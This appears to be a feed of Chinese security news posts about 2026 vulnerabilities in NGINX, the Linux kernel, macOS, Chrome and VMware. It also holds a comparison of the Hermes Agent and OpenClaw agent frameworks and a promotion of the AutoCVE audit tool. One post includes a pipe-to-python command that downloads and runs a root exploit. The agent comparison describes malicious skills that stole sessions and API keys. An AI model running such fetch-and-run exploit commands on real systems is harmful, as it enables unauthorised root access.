NGINX 高危漏洞 CVE-2026-42945 已遭黑客利用，该漏洞影响 NGINX Open Source 与 NGINX Plus 0.6.27 至 1.30.0 版本，可导致 worker 进程崩溃，并在关闭 ASLR 防护情况下实现远程代码执行（RCE）。Ledger CTO Charles Guillemet 表示，目前真正运行最新版本 NGINX 的服务器可能不超过 30%，漏洞传播速度正快于 IT 团队修补与升级速度。

看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限： curl | python3 && su CVE-2026-31431 建议尽快更新系统，事态紧急可以先打个补丁 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null 详细参考👉

据 The Hacker News 报道，Apple macOS 的高危屏幕共享漏洞 CVE-2026-65400 已遭黑客实际利用。荷兰国家网络安全中心表示，攻击者针对将 5900 端口暴露至公网的 Mac 绕过认证并获取 root 权限，随后部署 Monero 挖矿程序。Apple 已于 8 月 6 日发布更新修复该漏洞，并建议无法立即升级的用户关闭屏幕共享功能。

Google 发布 Chrome Stable Channel 安全更新，修复 12 个安全漏洞，其中包括 V8 JavaScript 引擎中的高危类型混淆漏洞 CVE-2026-85046。Google 确认，目前已发现针对该漏洞的实际利用，但暂未披露攻击方式、攻击目标及影响范围。Windows 和 Mac 用户应升级至 Chrome 152.0.7977.82/.83，Linux 用户应升级至 152.0.7977.82。

#下载# 博通发布 VMware #Fusion# Pro 26H1，这是适用于 macOS 系统的免费虚拟机软件 (现在也已经完全免费)。 本次更新博通为用户带来虚拟机备注、虚拟机创建和开机时间等方便用户区分虚拟机，同时修复安全漏洞 CVE-2026-41702，本次更新还支持更多 Linux 发行版。 下载地址：

龙虾的对手来了？我试了一下Hermes Agent 这几天推荐 Hermes Agent 的人突然多了起来。 我自己装了一个跑了两天，说说感受：确实还可以。不是那种「又颠覆了」的程度，但能明显感觉到它的设计思路跟龙虾不是一回事。 先说一下背景，Hermes Agent 是 Nous Research 今年 2 月底开源的 AI 智能体框架。 上线不到两个月，GitHub 星标冲到了三万多。社区里不少人把它称为 OpenClaw 上线以来，第一个真正意义上的竞争对手。 两个项目表面上很像，都是自托管的开源 Agent，都能接 Telegram、Discord、Slack、WhatsApp。都支持多模型切换，都走 MIT 协议。 但骨子里完全不同。 龙虾是网关，Hermes 是引擎 OpenClaw 的核心是一个 Gateway。网关守护进程，负责统一管理会话、路由消息、连接各种聊天平台。 你可以理解成一个调度中心，把所有聊天应用接到 AI Agent 上。 龙虾解决的核心问题是：怎么把消息送到 Agent Hermes 不太关心这个，它更在意的是：Agent 怎么变得越来越强 官方管这叫 closed learning loop，闭环学习循环。整个框架围绕的就是一件事——让 Agent 在使用过程中自我进化。 打个比方，龙虾是个多渠道助理操作系统，什么聊天工具都能接，生态丰富。 Hermes 是一个会自我迭代的执行引擎，刚开始没那么花哨，但越用越能打。 这是最根本的区别，后面所有差异都从这分叉出来。 会自己写技能的 Agent 我觉得这是 Hermes 最有意思的地方 当它完成一个复杂任务——通常涉及五次以上工具调用——它不是做完就算了。 它会把整个过程沉淀成一份结构化的技能文档，存成 Markdown 文件，放在 ~/.hermes/skills/ 目录下。 下次遇到类似任务？直接加载这份技能文档，不用从头解决。 更狠的是，这些技能在使用过程中会自我迭代。Agent 执行某个技能时发现了更好的方法，它会自动更新技能文档。不需要你手动维护。 Reddit 上有用户反馈，他的 Agent 在两小时内自动生成了三份技能文档。之后跑重复性研究任务，速度提升了 40%。 龙虾也有技能系统，但龙虾的 Skill 主要靠人手写，或者从 ClawHub 技能市场安装。Hermes 等于把「写技能」这件事也交给了 Agent 自己。 一个靠人喂，一个自己长。 我试用的时候确实感受到了，让它帮我查了几轮开源项目的信息，第二天让它做类似的事，它明显快了。 不用再教它「先去 GitHub 看 README，再去看 Issues」这种流程。它自己能记住了。 记忆体系：搜索引擎 vs 笔记本 两者都说自己有跨会话记忆。但实现方式差很多。 Hermes 的做法 用 SQLite 数据库配合 FTS5 全文检索，把所有历史对话存下来。需要调用时，先搜索再让模型做摘要，然后塞进上下文 不是把整段对话历史搬过去，Token 不会爆 记忆分两层： 常驻层：MEMORY.md 和 USER.md。存关键偏好和核心信息，每次对话都带上，相当于硬记忆。 检索层：全量历史在 SQLite 里，容量不限，按需调用，相当于一个私人搜索引擎。 龙虾的做法 工作区里的 Markdown 文件，memory.md 记生活细节，向量索引做语义检索。上下文压缩前会静默写入一次记忆，防止压缩丢信息。 简单类比：Hermes 给 Agent 装了个搜索引擎式的大脑。龙虾给了它一个笔记本。 搜索引擎查东西更精准，笔记本翻起来更直觉。但记忆量大了之后，搜索引擎的优势会越来越明显。 安全思路也不一样 Hermes 搞了一套五层纵深防御： 用户授权：白名单 + DM 配对 危险命令审批：rm -rf、chmod 777 这些高风险操作要人工确认。默认 60 秒没批准，自动拒绝 容器隔离：终端命令跑在 Docker 容器里，不在宿主机上裸跑 MCP 凭据过滤：隔离 MCP 子进程的环境变量，防凭据泄露 上下文注入扫描：检测项目文件里的 prompt injection 攻击 这套设计思路是「默认不信任，层层设卡」，龙虾那边更强调信任模型和配置审计 它有个 openclaw security audit 命令，一键扫描网关配置的安全隐患。思路不一样，但也不能说不好。 但龙虾在安全上的历史确实不太好看。今年 2 月曝出一批高危漏洞——CVE-2026-25253 是一键远程代码执行，点个链接就能接管你的机器。 ClawHub 技能市场还出了 ClawHavoc 攻击活动，恶意技能伪装成加密货币追踪器、YouTube 摘要工具，实际在偷浏览器会话和 API 密钥。 这不是小事。你的 Agent 跑在本地，权限很高。安全出了问题，搞不好整台电脑都交代了。 Hermes 的五层防御在架构层面想得更远。当然，有没有自己的坑还得等时间检验。但至少出发点比「先跑起来再说」靠谱。 选哪个？看你要什么 先说最实在的：如果你现在用的 Agent 已经顺手了，别换！换工具的迁移成本远比你想的高。 想要现成生态 → 龙虾 三十多万星标意味着教程多、插件多、问题容易搜到答案。ClawHub 上几千个 Skill 直接装。你想接 QQ、飞书、钉钉，社区里都有人踩过坑。 想要长期进化 → Hermes 它不是装好就一成不变的工具。用得越久，它对你的工作方式理解越深，技能库越厚。如果你是搞 AI 研究的，它还能生成训练轨迹、跑强化学习实验。内建了兼容 OpenAI API 的服务端，直接接 Open WebUI。 部署成本都不高，Hermes 跑在 5 美元一个月的 VPS 上就够。也支持 Docker 和各种 serverless 方案。 安装不复杂，参考官方文档就行： 两个项目我都装过。 龙虾像一个装了一堆 App 的手机。开箱即用，什么都能干，生态成熟。 Hermes 像一个会自己下载 App 的手机。刚开始没那么好用，但用着用着，它变成了你的形状。 喜欢折腾的，两个都试试。不喜欢折腾的，等 Hermes 社区再成熟一阵子再来看也不迟。 #AI# #AIAgent#

Linux 内核又一严重本地提权漏洞，全主流发行版暂无补丁 一名安全研究人员本周公开披露了一个被命名为”Dirty Frag”的 Linux 内核本地权限提升漏洞。该漏洞允许普通用户无需密码即可获得系统最高权限（root），且目前 Ubuntu、RHEL、Fedora、openSUSE 等全部主流发行版均尚无可用补丁。 POC 已于 2026 年 5 月 7 日在 GitHub 公开，任何人均可通过单行命令完成编译并执行。 上游 Linux 内核已于 5 月 7 日合并了针对 ESP 模块的修复补丁，但 RxRPC 模块的补丁尚未合并。由于协调披露期间遭第三方抢先公开，各发行版未能按计划准备 backport，导致当前所有发行版内核均处于无补丁状态，CVE 编号亦尚未分配。 tip：对于本就是root用户的个人服务器，这条新闻你就当没看到

挖 CVE 的流程挺长，筛项目、审源码、验证漏洞、写申报报告，每一步都要花不少时间。 AutoCVE 这个开源平台把整条流程接进了多 Agent 系统，一键跑完整套流程。 由 Orchestrator 统一调度侦察、扫描、分诊、深挖和验证几个 Agent 协同干活，还提供快速扫描、深度审计等不同模式可选。 GitHub： 审计跑完能继续追问，让 Agent 补充证据、解释攻击链或者完善复现步骤。 用 Docker 一行命令就能部署起来，前端后台和接口文档都配齐了。 做安全审计或者对 CVE 挖掘感兴趣的朋友，可以拿来试试手。